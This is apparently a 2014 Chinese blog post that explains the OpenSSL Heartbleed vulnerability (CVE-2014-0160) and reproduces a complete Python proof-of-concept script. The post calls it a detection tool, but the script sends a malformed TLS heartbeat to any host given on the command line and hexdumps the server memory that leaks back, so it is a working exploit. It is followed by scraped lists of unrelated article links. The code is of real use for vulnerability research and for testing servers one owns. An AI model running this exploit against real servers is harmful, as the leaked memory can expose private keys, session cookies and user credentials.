一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python实现文件按照日期命名的方法
Jul 09 Python
Python网站验证码识别
Jan 25 Python
python在线编译器的简单原理及简单实现代码
Feb 02 Python
python如何把嵌套列表转变成普通列表
Mar 20 Python
python统计指定目录内文件的代码行数
Sep 19 Python
Python 中pandas索引切片读取数据缺失数据处理问题
Oct 09 Python
python中利用matplotlib读取灰度图的例子
Dec 07 Python
Spring实战之使用util:命名空间简化配置操作示例
Dec 09 Python
python如何求100以内的素数
May 27 Python
Python识别验证码的实现示例
Sep 30 Python
Django中和时区相关的安全问题详解
Oct 12 Python
如何用PyPy让你的Python代码运行得更快
Dec 02 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
浅谈PHP正则表达式中修饰符/i, /is, /s, /isU
2014/10/21 PHP
php框架知识点的整理和补充
2021/03/01 PHP
jquery validate使用攻略 第四步
2010/07/01 Javascript
为你的网站增加亮点的9款jQuery插件推荐
2011/05/03 Javascript
把input初始值不写value的具体实现方法
2013/07/04 Javascript
JQuery验证jsp页面属性是否为空(实例代码)
2013/11/08 Javascript
JS实现中国公民身份证号码有效性验证
2017/02/20 Javascript
Vue2组件tree实现无限级树形菜单
2017/03/29 Javascript
详解AngularJS controller调用factory
2017/05/19 Javascript
Require.js的基本用法详解
2017/07/03 Javascript
解决vue 按钮多次点击重复提交数据问题
2018/05/10 Javascript
微信小程序网络层封装的实现(promise, 登录锁)
2019/05/08 Javascript
学习LayUI时自研的表单参数校验框架案例分析
2019/07/29 Javascript
[39:53]完美世界DOTA2联赛PWL S2 LBZS vs Forest 第一场 11.19
2020/11/19 DOTA
python实现简单ftp客户端的方法
2015/06/28 Python
Python判断文件或文件夹是否存在的三种方法
2017/07/27 Python
python实现自动获取IP并发送到邮箱
2018/12/26 Python
python读取有密码的zip压缩文件实例
2019/02/08 Python
python 求一个列表中所有元素的乘积实例
2019/06/11 Python
详解Flask前后端分离项目案例
2020/07/24 Python
Python 发送邮件方法总结
2020/08/10 Python
python用Tkinter做自己的中文代码编辑器
2020/09/07 Python
python实现KNN近邻算法
2020/12/30 Python
有关HTML5页面在iPhoneX适配问题
2017/11/13 HTML / CSS
李维斯法国官网:Levi’s法国
2019/07/13 全球购物
如何进行有效的自我评价
2013/09/27 职场文书
爱心倡议书范文
2014/05/12 职场文书
幼儿园六一活动总结
2014/08/27 职场文书
教师批评与自我批评(群众路线)
2014/10/15 职场文书
2014年保安个人工作总结
2014/11/13 职场文书
2014年惩防体系建设工作总结
2014/12/01 职场文书
2014年副班长工作总结
2014/12/10 职场文书
投资意向协议书
2015/01/29 职场文书
2015年妇幼卫生工作总结
2015/05/23 职场文书
Redis数据同步之redis shake的实现方法
2022/04/21 Redis
Java使用HttpClient实现文件下载
2022/08/14 Java/Android